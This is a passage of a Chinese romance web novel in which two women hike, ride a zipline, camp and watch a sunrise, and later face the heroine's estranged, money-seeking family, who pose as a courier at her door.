真值了!遇上喜欢的人,果然什么原则都没有。 含金量超标了! 第53章 讨厌仍旧心动的自己 今天是周末,来爬山的人很多,老人小孩情侣朋友,不同身份的人聚在一起,时不时说笑两句,人声喧闹。 但姜池却感受不到一丁点烦扰。 她的全部注意力都只在吹过发丝和交握手掌的微风,和人影交叠的婆娑树影,跳跃在肩头的日光,以及心上人如蝶翼扇动的睫毛。 倘若幸福需要注解,此刻就是最好的答案。 时间快如白驹过隙,倏忽一下就到了半山腰。 夏云鲤脸不红气不喘,就像在客厅走了两圈一般,反观同行的庄思雨她们,额头鬓角皆有汗意。 “不行不行,我得坐缆车了,真要爬上去,下午不用干别的了。”庄思雨给自己扇了扇风,指着不远处的队伍说,“你们年轻人体力好,我老啦。” 姜池:“我们是同岁。” 庄思雨闻言嘿嘿笑出声,“午休在饭店见。” 好的cp粉就是要主动为正主创造相处空间。 她们走了,就剩下夏云鲤和姜池两个,前者扭过头,眼里透出关心,“你要不要也休息一下,那边有长椅,可以坐一会儿。” 姜池在面子形象和身体状况中犹豫了片刻,最终选择后者,老老实实说:“要。” 反正她在小鱼这里,大概已经坐实外强中干的描述了,实在没必要为了逞强把自己累坏。 “好哦。”夏云鲤应道,又多嘴叮嘱一遍,“累了就和我说,慢慢走就是了。” 来到长椅这里,她从包里抽出一张纸巾,把座位擦了擦,才招呼姜池坐下。 “这里风景挺好看的。”她环顾四周,发出感叹。 “你之前没来过五福山吗?”姜池有些疑惑地问。 “没有。”夏云鲤摇了下头,唔了一声,“要怎么解释呢,我对爬山没有什么感觉。乡下长大的嘛,种的地都在山上,一年有一半的时间都在爬山,不过是矮小版本的。” “可能是小时候走太多了,总觉得带台阶的山有点别扭。” “你这是什么表情嘛!”夏云鲤用胳膊肘拐了她一下,“好像我很可怜一样。” “没有,就是……”姜池欲言又止,眼波柔软。 有点心疼。 “你有没有雨天在森林里漫步过?有没有看过鹰和乌鸦从林中飞过?有没有采过蘑菇挖过野菜,有没有追过兔子赶过野鸡?有没有看过穿山甲的洞,捡过蛇蜕的皮?” 伴着微风,夏云鲤的发尾也像在跳一种名为自由的舞,“干活是很累,但是有些回忆也很珍贵。” “你没有吧。”她的下巴微微扬起,有点骄傲的样子。 “没有。”姜池都有点羡慕她了。 她自己把看书当成最大的爱好,几乎也不怎么去接触大自然,动物园里的动物,和公园里的松鼠,就是她对外界风光的全部体验。 夏云鲤哼哼两声,开始讲述不同动物脚印的区别。野鸡的脚印像三根竹叶,老鼠的脚印像一对一对的顿号,兔子的脚印并腿跳着走的圆印,鹿的脚印像圆润的三角形从中间分开,变成两瓣。 姜池听她讲述这些内容,看着她莹亮的双眸,脑海里不由自主地想象着小小的小鱼背着竹筐在森林里穿梭,留下一串小小的脚印,时不时蹲下身子观察脚印的模样。 好像一只好奇的小猫猫啊…… 糟糕。 心脏要融化了。 夏云鲤扬眉:“我比你懂得还多吧,大博士?” 姜池:“嗯嗯。” 可爱。 她貌似忽然懂了动物塑为什么在网上流行。 两个人休息了一会儿,就接着开始爬山,到达山顶已经是一个半小时之后的事儿了。 此时夏云鲤的额头出了一点薄汗,状态仍旧不错,鬓角都没湿,姜池却脚步沉重,穿着粗气。 最后一段路程,她几乎完全是被拽上来的。 等待索道的空挡,姜池不顾形象地蹲下来,咕咚咕咚给自己灌水。 夏云鲤看得咋舌。 考虑到姜老师的体力,后半程她们走个十几分钟就停下来休息一次,就这样还是给她累到了,看来姜池耐力不行。 她拖着姜池,把人拽到了阴凉的棚里,把包里的传单拿出来叠成扇子,对着人开始扇风。 细微的凉风吹拂在脸上,吹走燥热和汗珠,姜池一扭头就能看到花花绿绿印着游泳健身的传单纸扇后面,一张粉面含笑的脸。 她耳根一红,在逞强和休息之间,再次从心地选择了前者。 反正……也不是第一天认识了。 “你现在感觉怎么样,能坐飞索吗?”夏云鲤关切地问。 “能。”姜池连忙表态,“我可以坐。” “真的不会恐高吗?”夏云鲤有点担忧,“我们坐缆车也可以,还有旱道能滑,选择很多,还可以租自行车,坐观光车。” 上次去游乐园发生的事,还历历在目呢。 “我想尝试一下。”姜池说,“恐高是可以逐渐克服的。” 说完,她抿着唇,有点不好意思似的问,“不过,你能陪我坐双人的吗?” “当然可以啦。”夏云鲤一口答应下来,随后再次试图劝她,“真的不考虑一下观光车吗?” 她好害怕姜池飞到一半吐出去,或者吓晕过去。 姜池不说话,只是看着她,半晌后,夏云鲤举起手投降,“好好好,飞索,听你的。” 工作人员在绑安全设施时,姜池感觉自己的腿有点发软,但她什么都没说。 长长的索道一直连到半山腰的月牙湖,几百米的距离,近乎蹦极般的体验,对她来说,是个堪比自杀式的挑战和折磨。 可是一想到,飞索大概比摩天轮更像鸟在天空飞翔滑行的感觉,姜池就没办法放弃,就算把牙咬碎也要坚持。 没什么好怕的,她站在高台边缘,强迫自己不向下看,而是凝视着身旁的夏云鲤。 她的手指穿过对方的指缝,亲密地扣在手背上,十指交叉。 夏云鲤的回应是紧握住她的手,笑容柔和,“害怕的话,就看着我吧。” “倒数三个数,我们一起跳。三、二、一……” 骤然的失重感扼住姜池的心脏,一瞬像漂浮,一瞬像坠落。 她顾不得给逐渐抗议的胃留有反馈的空间,只是一味地注视着身旁人。 跳下的一刹那,浓黑的发丝倏地向后舞动,仿佛是小鱼在天空中的翅膀。 姜池突然觉得心里很安定,又像一锅煮沸的糖浆,咕嘟嘟冒泡。 “哇呼——!”夏云鲤大喊着,笑容格外灿烂,仿佛天上的太阳是从她的眼角眉梢跑出去的。 “你看你看,底下就是月牙湖!好漂亮啊!” 姜池条件反射低头看去,都忘了自己还恐高。等她反应过来,虽然手脚仍旧有点软,却没有反胃,好似所有的恶心都被眼前壮丽的景致冲刷掉了。 五个相连的湖泊组成一道弯月,湖水湛蓝宛若一小块天空被切下来,绿色的森林便是最美的翡翠,光辉相映,美得令人窒息。 “好美。”她喃喃道。 从天空看下去,事物又大又小,疾行的风似乎能将所有烦恼吹走,让世间再无忧愁。 她大约明白了,小鱼为何想要做一只鸟。 天空是倒映的海,她短暂拥有了飞翔的感觉。 眨眼的功夫,飞索到达终点。 姜池的双脚刚一沾地,脚下就是一个踉跄向前扑去。夏云鲤早就注意着她,手比意识更快一步揽住她的腰,一个用劲,让她倒进自己怀里。 工作人员还在旁边等着解装备,她赶紧又把人扶正,“再坚持一下哦。” 感到丢脸,还是感到馨香和害羞,亦或是大吐特吐,又是一个艰难的抉择。姜池紧闭着嘴巴,同自己的胃讨价还价,开不了口,只能点头。 好在不用她做决定,夏云鲤很快跟工作人员一起把安全绳解下来,一手揽过她的腰,一手扶着她的肩膀,带她走到不远处的长凳上坐下,都没来得及先擦一擦。 刚坐下,夏云鲤就让姜池靠在自己身上,用一只手去兜里拽出湿巾,用牙撕开包装袋,单手把袋子扯下来放到一边,细致地给姜池擦了擦额头和脖子,耳后和手掌。 “我们缓一缓,来喝点水吧,给你,吃块糖压一压应该能好一点。” 蜜桃薄荷的糖块被送进嘴里,喝一口水再吸一口气,瞬间能从嘴巴凉到胃里。 姜池晕乎乎地靠在喜欢的人肩膀上,巴不得自己再难受一点,好多赖一会儿,最好能维持这个接触面积,一直到晚上睡觉的时候。 不需要风的帮忙,她就能嗅到夏云鲤颈窝的甜香气。分不清是恐高导致的眩晕,还是被动脉处散发的热气香味熏晕,姜池迷迷糊糊,都没注意到自己还蹭了蹭。 毛茸茸的发尾压在锁骨,带来痒意。 夏云鲤抬手拨开,指节不小心蹭过还湿润的唇瓣,那股子痒意忽然顺着食指染上的水渍,沿着神经脉络,在脊椎末梢转了一圈。 她咬唇。 这算亲密越界吗? “嗯……我给你扇扇风吧。” 放在腰后的手动了动,想抽出来,却因为姿势的缘故只能放弃。夏云鲤无奈,只好用空着的那只手使劲扇风,试图把姜池身上所有的水都吹干。 这样就不会触电了。 “船开了。” 夏云鲤正心烦意乱,肩膀上的人还脑袋乱动,说话时的热气都喷在她的颈窝里,像一场朦胧的小雨,淋到她的心头上。 搞得她躲也躲不开,不躲又别扭。 “都什么时候了还想着船,先好好休息再说。” 她看姜池,心疼和关心有,生气和讨厌也有,甚至说不上是讨厌姜池多一些,还是讨厌仍旧心动的自己多一些。 这句话语气不太好,夏云鲤蹙了下眉,赶紧放柔了声音,“等你休息好了,我们再去坐船,不着急的。” 第54章 以恋人的关系相伴此生 湖面上的风裹着水汽,带着恰到好处的微凉,抚上人的面颊。 姜池的面色仍旧有些白,血色不足,她将胳膊搭在船厢边缘的木质栏杆上,微微偏过头,却没看到心里想着的那张脸,而是一个手机。 夏云鲤正在给她拍照。 “我不太会构图,好在模特颜值高,怎么拍都好看。”偷拍的人一点都没有被抓住的窘迫,反倒把罪证端给给受害者看。 姜池一直给人一种冷静的感觉,偶尔有平和的时刻,也像幽深树林中的山泉,安静流淌,有一种无声无息的冰凉湿润。 可刚刚山风吹过她的发丝,几缕短发盖住侧脸,深黑的眼瞳在空隙中若隐若现,倒映着日光,肤色如雪,让她看起来又沉静,又脆弱。 夏云鲤还没反应过来,相册一整页就都被填满了。 以往只有小猫能有这个待遇。 越是心慌,就越要装出一副无事发生的样子,主动举着手机过去给人看。 但坚决不能滑动图片,否则就会暴露了。 姜池听过一种说法,照片会在一定程度上反映摄影师的心情态度。 充满爱的拍摄,拍出的照片也会让人会心一笑,感到温暖,感情的充沛足以盖过所有技巧。 在夏云鲤的相机里,她看起来……很不一样。 像一尊雪捏成的雕塑,却暴露在日光下,外壳融化成水,又结成透明的冰,包裹保护着里面冰凉却柔软的内里。 姜池感到熟悉,又觉得陌生,甚至有种奇怪的慌乱,好像藏起来的什么被发现了一样。 “很好看。”她说,再次看了照片一眼,“可以发给我吗?” “可以可以。”夏云鲤趁机收回手机,选了一个姜池看不到的角度,才点开相册,把照片发过去。 “不知道湖里有没有鱼,应该有吧?”她伸出头向下看,意图快快把这个话题掀过去。 “有鱼。”姜池指着不远处湖面泛开的水波,“那里就有一条,据说盛记酒楼的招牌菜糖醋鱼,用的就是湖里的鲤鱼。” 夏云鲤对她提前搜资料的行为已经见怪不怪了,听到她说的,心里只有一个想法,“有点饿了。” “我们坐船穿过湖面,再朝西方向绕一圈,就到酒楼。”姜池记着所有的路线的游玩设施,像一个智能地图一样人工规划路线,“大约需要二十分钟,过去正好到午餐时间。” “好啊好啊,我一会儿一定要多吃一点,下午还有的走呢。”夏云鲤说,“等吃完,先在附近歇一歇吧。” 别把姜博士累出个好歹来。 搭帐篷的地方比这里还要低一点,如果要看日出,得起早爬山,这么大的运动量,她真怀疑姜池能不能支撑住。 不过这种话在心里想想就算了,真要说出来,怕某人会恼羞成怒,刻意逞强,把身体累垮。 “好。”姜池说。 她们到了酒楼,和工作人员报上农大的名字,就被领进包厢里,见到了零散的几个同事,正举着手机开黑,还有庄思雨两人。 “正好正好,小鱼会不会玩儿王者,来五排吗?我们差一个队友呢。”庄思雨说着,好像察觉到了她的想法似的,紧跟着接上一句打趣,“姜池不会玩,她没有这种低趣爱好。” 夏云鲤犹豫了一下,“我很菜的,平时玩的也不多……” “没事啦!你打辅助跟我,这俩都有大国标的,包上分。”庄思雨拽了个椅子过来,让她坐下,等人上号的时候又问,“你俩都去玩儿什么了?我刚刚在山顶看到有好些个人一起放无人机,还挺壮观的。” “就是爬山,坐飞索下来,还坐了船,没别的了。”夏云鲤回答。 “噢!飞索,双人的吗?” “是的。” 庄思雨心满意足,“旁边的小集市可以拍大头贴,还能买漆扇,十五一把,不算贵。这边和桃树附近都可以买福袋,款式差不多,价格也一样。” 她坐缆车上去,下来得快,提前把这里都逛了一遍。 夏云鲤记下了她的话,恰好游戏开了,她赶紧选了英雄。姜池坐在她手边,看着花花绿绿的屏幕,感到一阵眼晕。 庄思雨还在那里大声夸赞,“这也叫不会玩儿吗,国服手法啊,反应太快了吧!” 夏云鲤就腼腆地笑一下,“还好啦。” 当厨师的人,眼力手速都是必需品。 看着她们的互动,姜池有点意动。这种游戏应该比游乐园的高空设施简单一些吧?游戏人物贴在一起的时候,就好像心也靠在一起了,两个人互相保护,彼此成就,似乎是另一种亲密。 反正只要是小鱼喜欢的、感兴趣的,就算是跳楼机她都能咬牙去试,游戏又算得了什么。 她暗暗下了决定。 吃过饭,庄思雨又拉着她们去月牙湖边拍了几张照片,才把人放走。 两人又逛了一会儿,习惯提前把东西都准备好的姜池,就提出说要去租帐篷,把帐篷搭好,免得太晚选不好好位置。 夏云鲤同意了。 有了帐篷就可以在里面躺着,她没露营过,还挺新奇的。 租帐篷,把车里的东西运过来,最后再搭建和布置,全都弄完,晚霞就已经挂在了天边。 山林里,天似乎黑得要早,太阳被山脊挡住,阳光漫天散射,将云彩烧成绚烂的红。 “真漂亮啊。” 露营区挨着烧烤区,许多来这里玩的小家庭都去炉子边上烧烤,烟很大,但香味同样被风送过来。 夏云鲤打了两个喷嚏,又忍不住吸鼻子,“我们也带点菜来烤好了,好香好香。” 姜池有点懊恼,她真没想到这个,因为旁边就有小吃摊,不用担心饿肚子的问题。 “下次我会注意的。”边说着,又在心里记了一笔。 推荐约会项目的贴只说了名字,她又是个纯新手,压根不知道这里的露营区还能烧烤。 “吃别人烤的也一样呀!还不用被烟熏。走啦走啦,我想买两串烤鱿鱼吃,嗯,再来一份香煎小土豆。” 那怎么能一样。 姜池追着她的身影赶过去。 小鱼做的比摊贩卖的好吃多了。 边吃烧烤边在草坪漫步,也是一件很惬意的事情。在钢筋水泥的丛林里待久了,很需要来到真正的大自然放松放松。 夏云鲤用签子叉起一块小土豆放进嘴里,享受地半眯着眼睛。 “去看桃树吗?”气氛正好,姜池终于提出了自己来的目的。 她提着装垃圾的小袋子,慵懒帅气的打扮也变成了接地气,可这张脸摆出紧张和期待的表情,哪怕穿破烂的乞丐装,夏云鲤也拒绝不了。 这个季节桃花早已经落了,只剩下叶子郁郁葱葱,像一个圆顶盖子。 树下有一圈小灯,光芒温柔,离远了看,整棵桃树都亮晶晶,宛若会发光。 走近了才发现,是那些香囊和牌子,上面绣着金银线,反射的光连成一片,好似彩灯。 只是走到这里,姜池的气息就活跃起来,积极地拽着夏云鲤去买香囊,打算挂上。 香囊三十一个,她付得眼都不眨,接过老板的纸笔,微微弯腰伏在案上,笔尖刚触及纸面,姜池手下一停。 用另一只手把笔尖盖住了。 “还不让我看。”夏云鲤挑眉,忽然有点好奇她写的什么。 shishi“愿望被看到就不灵了。”姜池耳尖一红,难得窘迫,却还是没有把手挪开。 “好嘛好嘛,我躲远一点。” 夏云鲤哼笑一声,走回树下,仰头去看那些彩签。 大多数都是和感情有关的,比如要一个恋爱对象,希望婚后感情顺利,希望两个人长长久久。 和感情差不多数量的是求财,中大奖,暴富,工作赚大钱。 大家的愿望都差不多,饱含了最朴素真挚的情感。 夏云鲤有点想写,转念一想,自己也没什么好求的。她不信这些,只把寄托放在自己本身,花钱求个好兆头,也是可有可无的事情。 犹豫的时候,姜池已经写好了。 她拎着红绳,在树下绕了两圈,选定一条还算清静的树枝,郑重地把香囊挂在两片树叶之间。 末了还双手合十,对着桃树拜了拜。 极为诚恳。 真看不出来姜池也是个信玄学的人。 桃树下,姜池闭上双眸,在心中默念:尊敬的桃树姻缘神,希望我和同行的夏云鲤可以永远在一起,以恋人的关系相伴此生。 她念了三遍,一遍比一遍诚心。 再睁开眼,顿觉心头大事已毕,一身轻松。转过身去,喜欢的人就在不远处看着她,被微黄的灯光染上一身暖色,眼中仿佛有星子闪烁。 只她一个人站在那里,就好像把世上的美好诠释殆尽了。 姜池走过去,无比自然又隐含羞涩地牵起对方的手,鼓噪的心脏可不耽误她享用自己来之不易的快乐。 “我们回去吧。”她说,用天衣无缝的理由,“晚上蚊子很多。” 帐篷可以抵挡蚊子,很好,而且它只有一个,好得不能再好。 她们两个将会在野外狭小的空间里,第一次睡在一张床上。 充气的床垫柔软,上面铺了一层厚毯,两条被子挨着,两个枕头贴着,姜池扫上一眼就匆忙挪开视线。 她怕自己的目光停留太久,眼中的兴奋和羞赧会遏制不住地爆发出来,再也藏不住。 “我先换睡衣?”夏云鲤试探着问。 她怕姜池会不好意思先脱衣服。 果不其然,她刚问完,姜池就快速接上一句,“好,我去外面。” 夏云鲤失笑,从背包里拿出了自己特意挑选的睡衣睡裤,米白色棉质的双层厚提花面料,不穿内衣也没有关系,样式可爱,外穿都可以。 她赶紧换好睡衣,把头发松松垮垮绑起来,掀开帐篷门去叫外面等着的人。 夜色渐深,只有间隔稍远的路灯提供照明,帐篷所安置的位置恰好是无光的区域,远处灯光朦胧,暗色环境下,夏云鲤的胳膊手臂更是白的晃眼。 姜池直接脱下自己的外套,披到她的肩膀上,“我很快就换好衣服叫你进来。” 顾不上害羞了,这里的蚊子真的很多,她站在外面短短几分钟胳膊就被咬了两个包。 真是可怕。 姜池钻进帐篷,换衣服的速度比军训还快,照例是一身长袖长裤,浅米色的衣服上没有任何印花,素到一看就能看出来这是家居服的程度。 刚把衣服穿好,她就先开帐篷将夏云鲤喊进来。 “真的好多蚊子啊,你看。” 后者一进来就把手背伸出去,上面有一只死掉的蚊子,还带着一点点血,显然遭受了巴掌袭击。 “五福山有树有水,是蚊子最喜欢的繁衍地。” 夏云鲤接话,调侃道:“还有这么多人,不怕自己吃不饱。” 姜池唇角泛起浅笑。 下一秒,她抄起驱蚊喷雾,对着帐篷里外都喷了一遍。 “好啦好啦,快进来吧,整个帐篷都变成薄荷味的了。”夏云鲤望着姜博士近乎疯狂的动作,狠狠打了两个打喷嚏。 真怕蚊子没被解决掉,自己先被熏晕过去。 姜池闻惯了消毒水和各种农药试剂的刺鼻气味,等她提醒才意识到剂量过大,懊恼和羞愧,瞬间化作小针,扎向她的心头。 “快来进被窝,我们看个剧吧。”夏云鲤拍拍旁边的被子,随即就看到姜池的脸以肉眼可见的速度红了起来。 “好、好的。”结巴是脸红最好的朋友,一个来了,另一个自然跟上。 姜池能感受到自己脸上的热度,她真想装出云淡风轻的沉稳样子,奈何脸有自己的想法,根本不听她的指挥。 姜博士什么都好,害羞的样子更是可爱,如果是之前,夏云鲤一定要故意凑到她耳边说两句话,添一把火。 可惜。 她现在得保持一下距离。 拿出平板,点开电视剧,是她最近新找的一个刑侦悬疑剧。 画面刚一出现,就是一具在森林里的尸体近景,苍蝇围绕着青黑带点腐烂的皮肤上下翻飞。 姜池:…… 在露营的时候看这种好吗?某种意义上来说,她们也在荒郊野岭,只不过是人很多的那种。 夏云鲤也意识到了不对,讪讪一笑,赶紧切出去,“要不你选一个?” 姜池不和她客气,选了一个很甜的韩百,讲的是职场上司死对头变女朋友的故事。 平板的屏幕没有那么大,想要看清,两个人必然要凑近一点。 夏云鲤本来心里还惦记着保持一点距离,不曾想剧情太好看,她看着看着就沉浸其中,往姜池在的方向靠过去,顺手剥了橘子和开心果投喂。 橘子瓣大,还能不碰到,开心果果仁太小,碰到什么也是躲不开的。 夏云鲤喂了一个,就默默收回手,唾弃起自己。 姜池却发出一声模糊的鼻音,好似询问,昏黄的台灯下,她的面庞竟有种无辜感。 夏云鲤忽然觉得自己实在过分。 普通朋友,喂喂零食怎么了! 她怎么能不回应姜池的期待,忍心让姜池失望呢! 开心果越嚼越香,姜池发誓,这绝对不是她的错觉。 电视剧看了三集,作息固定的她打起了哈欠,夏云鲤才意识到已经很晚了,她捡起旁边的手机看了眼时间,伸了个懒腰,“我们去洗漱吧,回来睡觉,还得早起呢。” 要看日出,还得爬山上去,最晚四点钟也该起来了,现在是晚上十点,最多只能睡五个多小时。 她从包里拿出洗漱用品,两个人一起去公共洗漱间接水洗漱。 灯光明亮,瓷砖洁白,里面都是排队洗漱的人,景区这里特意装修过,比商场还要干净整洁,卫生间在另一个方向。 洗脸刷牙,姜池在头顶别了两个小夹子把头发夹起来,好像个高中生。 夏云鲤盯着看了好一会儿才回神,心里直叹气,都懒得唾弃自己又被美**惑住了。 洗漱完毕,两个人钻回帐篷,把门仔细拉好锁上。 关掉台灯,唯一的光源也暗下去,整个空间霎时无光。姜池在黑暗中眨着眼睛,预想中会出现的凝视睡颜的画面,根本没办法实现。 她的眼前一片漆黑,什么也看不到,帐篷太遮光了,外面的光也透不进来。 好在视线受阻,其它感官便清晰起来。 夏云鲤捋顺头发的簌簌声,翻身时被面摩擦的窸窣声,清浅的呼吸声,都像紧贴着耳膜发出来的。 鼻端萦绕着发尾的芬芳,牛奶面霜的香甜,清凉的薄荷,和在无数气味下仍旧能被捕捉到的浅淡桃子香。 姜池很困,她的眼皮向下搭着,身体在传达想要休息的信号,可精神却振奋无比。 无光的环境下,想象是最好的画笔。 她不知道自己什么时候睡着的,再醒过来,是肩膀被人推了几下。 “起床啦。”夏云鲤边说边打着哈欠,她抬手揉了揉脸,放下手,立刻精神起来。 变脸一样,看得姜池差点愣住。 “起来起来,说好看日出的,已经有人出发了。” 这些人起得太早,夏云鲤严重怀疑她们昨晚有没有睡觉。 短暂的迷茫过去,姜池也快速爬了起来。 她们两个人都没有赖床的习惯,飞快洗漱完后把东西放好,夏云鲤拎起一盒小柿子,就往山顶进发。 冷水冲洗过的牛奶小番茄达到了提神醒脑的效果,还能垫垫肚子。 她们走一路,吃一路,穿过浓浓的大雾,终于到达目的地,两个人的面上是不约而同的期待。 山顶人挤人,她们紧挨着,牵着手,夏云鲤举起手机点开录像。 下一秒,整个天空燃烧起来,云海瞬间散去,一轮曜目红日跳到面前。 惊呼声此起彼伏,夏云鲤从未见过如此壮美的景色,移不开眼。 却不知道,自己在姜池眼中,同样是难以克制欣赏目光的风景。 第55章 这下她是彻彻底底忧心起来 【天呐,这什么神中神,你跟我说这是菜?】 【论本站美食区都入侵了哪些区】 【煮啵,我是大学生,送我,听见了吗我是大学生】 …… 夏云鲤翻着新视频的评论区,嘴角都要咧到耳根去了。 从五福山回来后很长一段时间,她都被云海瞬间散去的景色震撼到,只恨自己书读得不够多,哇和好美两个词翻来覆去地说。 随后到家,她断更了一段时间,琢磨出了这道新菜,给它起了一个非常通俗的名字——萝卜白菜大合唱。 一整盘用各种颜色的萝卜和白菜雕出来的林海,用干冰和真冰做出云雾缭绕的效果,洒在上面的糖霜先是融化后是冷却,凝结成一颗颗细小的冰珠,日光照射下宛若琉璃。 而升起的太阳,是用胡萝卜和红辣椒拼成的。 夏云鲤特意说了,吃应该是不好吃,她把这道菜叫做厨师的艺术画。 味道不重要,过程展现的刀功的巧思才是神迹。 这个视频,让她又上了一次热门。也顺理成章接到了几个广告,事业又向前迈了一步。 就在这时,门铃忽然响了,有人在外面喊道:“快递!” 一定是品牌方送的样品到了,财大气粗的品牌方基本都发顺丰,送货上门。 夏云鲤放下怀里的平板走到门口,手握上门把手的同时,习惯性看了下猫眼。 谁料门后面的压根不是熟悉的快递员,反倒是一个看起来流里流气的肥胖男人,身上也没穿制服。 她当场一惊,顿时后撤两步,扬声道:“快递放门口就行。” “不行啊,要当面签收的,你开下门吧。” 夏云鲤本就怀疑,听到他这么说,更是警惕。 她点开可视门铃的监控,终于在回放中看到了这位不速之客的真面目——夏子龙! 这位有血缘关系的亲弟弟比以前胖了太多,整个人好似吹起来的气球,身高和体重估计是相同的数字,就像个水桶一样。 更让夏云鲤感到恐惧的,是他并非一个人来,还有她的父母! 三个人一起出了电梯,那两个却转头就进了楼梯间,受角度影响,摄像头照不到那么远,只能看到楼道的门打开,两双腿走进去,门再度关上。 夏云鲤狠狠打了个哆嗦。 “开门啊,快点签收快递,我还有事呢,赶紧的!” 门外的声音愈发不耐烦,明显是冲着自己来的。 恐惧与憎恨,愤怒和惊慌一同冲进她的大脑,夏云鲤竟分不清自己此时的战栗到底是为了什么。 她使劲掐了大腿一下,强迫自己冷静下来,也装作不认识外面人的样子喊道:“我没买顺丰的快递,你送错了。” “你不是夏盼南吗,夏盼南就是你,赶紧开门!!”夏子龙还没吃过这么久的闭门羹,预想里这死女人就应该直接把门打开才对。 他咣咣用手砸着门板,把门砸得震天响,“快出来!” “吵什么吵啊,你谁啊!杵这儿干什么的?”隔壁房门忽然打开,一位健美女子拎着双节棍走了出来,手臂肌肉轮廓明显,显然是个练家子。 夏子龙满是横肉的脸忽然一抖,梗着脖子反问:“我找夏盼南,关你什么事?” “我是这栋楼的户主,你大喊大叫打扰到我休息了,你说关不关我事?这里根本没有你要找的人,再不走我就找物业报警抓你了!”邻居往前一步,把双节棍甩的噼啪响。 眼看着她越走越近,耳边双节棍的风声也越来越大,夏子龙咬着牙,挤出一点笑,丑得像癞蛤蟆咧嘴,“有话好好说,不至于动手啊。” 邻居不说话,双节棍舞得虎虎生风都能看到残影。 夏子龙见她软硬不吃,自己就先慌了神。他作威作福惯了,平时在学校也欺负其他同学,和社会上的混混聚在一起,压根没想过打架犯法这件事。 见邻居态度强硬,只好把父母叫出来,心不甘情不愿地坐电梯下去。 “我们就在楼下等,不信她不出来!” 邻居把人赶跑,转头就给夏云鲤发了消息,告诉她家门口的事,得到了后者的感谢,和一顿大餐的约定,美滋滋回屋了。 她没问是什么事,让夏云鲤有些感激。 人虽然走了,可她仍旧不敢出门看一眼,过去的阴影就像心中担忧的那样找上门来。这群家人就像吸血虫,她拼力创造的美好生活,难道就要被破坏了吗? 到了晚上,姜池回家,进门第一句就是:“今天发生什么事让你心情不好了吗?” 夏云鲤完全愣住,盛饭的手一顿,“怎么这么问?” “你切到手了。”姜池指向她左手食指上的创可贴。小鱼是能闭眼睛切菜的大厨,会切到手只有一种解释,她已经走神到连肌肉记忆都跟着溜号。 “我……”夏云鲤张了张嘴,心中酸涩,她垂着眸,把盛满米饭的碗递过去,“先吃饭吧。” 由她讲述过去是一回事,让姜池亲眼看到自己的家人烂得多具体,是另一回事。 担忧在姜池的眼里划过,她抿了下唇,声音平和地说:“好,吃饭。” 她坐下,夹起一筷子豆芽放进嘴里,舌面骤然尝到一股强烈的酸味儿,宛若直接喝醋。 咀嚼的动作一停,这段时间,她的味蕾已经被小鱼养叼了,以前能面不改色咽下去的东西系,现在却反射般蹙了下眉。 姜池囫囵把嘴里的东西咽下,拿勺子喝了口汤。 好淡,好像没放盐。 再一抬头,夏云鲤心不在焉地用筷子扒饭干嚼,都没想着夹菜吃。 这下她是彻彻底底忧心起来。 “楼下门口有几个鬼鬼祟祟的人,看起来不太正经,你下楼的时候注意一点。”心上人不想提自己的烦恼,姜池也不能强迫,只好说点别的。 却不料话音刚落,夏云鲤的脸色瞬间难看至极,声音紧得像绷起的琴弦,“是两男一女吗?其中有个男的比较年轻,但非常胖。剩下两个看起来四五十岁。” 姜池点了下头,“你见过他们了?虽然我不太想以貌取人,但他们瞧起来……”她斟酌了一下,“不像好人。” 她看到小鱼的神情一下变得非常复杂,她的嘴唇失去血色,握住筷子的手背用力到青筋都绷起来, “……是我家里人找过来了。”夏云鲤轻轻吸了一口气,说出的每一个字都很轻,可同时却有种压迫沉重感。 “我爸我妈,我弟弟,不知道怎么找上门来的。”她像幽魂一样吐气,“下午装作快递员想诈我开门,被隔壁姐姐赶走了。” 姜池蓦地闭上了嘴。 这些就是小鱼的家人? 她知道小鱼从前的生活很不如意,却想象不出,他们竟然会是这样的人? 女的刻薄,男的凶狠和油腻,一双眼睛里全是算计和令人作呕的邪淫下作,烟味和酒味离很远都冲鼻子。 怎么瞧都是社会垃圾。 “他们是来找我要钱的。”夏云鲤说。 “那你……”姜池拧着眉,小心翼翼地问。 “我当然不会给!”夏云鲤大声道,她好像冲破了什么,噌地站了起来,好似一头暴怒的狮子来回踱步,试图守卫自己的领地,“我一毛钱一分钱都不会给他们,给这群畜生!” “这钱我宁愿扔了,我死了,也不会让他们听到半个响!我不会再让他们像狗一样使唤了!” “小鱼……”姜池心下一涩,看着她气愤又难受的模样,比自己受罪还揪心。 “你先冷静一下,我们一起想想办法,把问题解决掉。” 只要赶走这几个人,小鱼就会重新开心起来。 “有谁会知道你的地址吗?”姜池首先想到的就是这个问题。 她一直清冷的声音,此刻成了最好的冷静药剂,让夏云鲤从下午开始就被各种情绪冲击的大脑清醒不少。 她们都没心思吃饭,坐到沙发上,姜池给她端了杯冰糖水,里面加了薄荷叶。 夏云鲤喝了一口,顿觉提神醒脑。 “我和从前认识的人全都不联系了,除了梅子,但梅子不会告诉他们我现在的地址,她连家里人都没说。”夏云鲤捧着杯子,小口小口喝,尽力找回自己的思维,“最大的可能,就是工作微信。” “一直有人加我合作,品牌方会要地址寄东西过来。”她懊恼又后悔地咬住嘴唇,“我真不应该留详细地址的,太不小心了。” “这不是你的问题,不要自责,把坏人的错揽到自己身上。”姜池赶紧安抚道,怕小鱼沉浸到情绪里出不来,连忙继续说,“下次注意下就好了。” “原因找到了,接下来就要解决办法,涉及到父母子女的家庭纠纷,警察也不好管,假如他们的确是通过这种方式获得了你的地址,就意味着也知道了你的账号。” “闹大的话,会有舆论上的风险,影响你的事业。” 姜池沉思了一会儿,“我有了一个思路……” …… 小区楼下,几个人被晒得头昏脑涨,只得找了个阴凉地方窝着。 夏母从斜挎的大方皮包里拿出一瓶水递给丈夫,被后者一把推开,不耐道:“拿走,都什么时候了就只想着喝水,一会儿天都黑了,还不想办法赶紧把人抓出来。” “那我们再上去一趟?”夏母讪讪收回手。 “我上去,这死丫头片子不敢不听我的话。”一提到夏云鲤,她一下就尖锐起来,好像又有了十足的底气和自信。 旁边的夏子龙翻了个白眼,很是鄙夷的样子,“我跟你一起上去,爸你在下面守着。” 要不是惦记着钱,他才懒得动弹。 母子俩又坐电梯来到门口,好歹是记着刚刚的邻居,没敢大声喧闹,只是敲门,一声接着一声,催魂一样。 只是没敲两下,门一下打开了一条缝。 隔着防盗链,一位冷漠的短发女人看过来,“你们找谁?” 她漂亮又锋利,穿着干净体面,自带上位者的傲慢,眼神像一柄冰刀,刺穿夏子龙色眯眯的眼神,也让夏母不自在地搓了下手,嗓门低了两分,“我找夏盼南。” “你找错了。”姜池说着,就要把门关上。 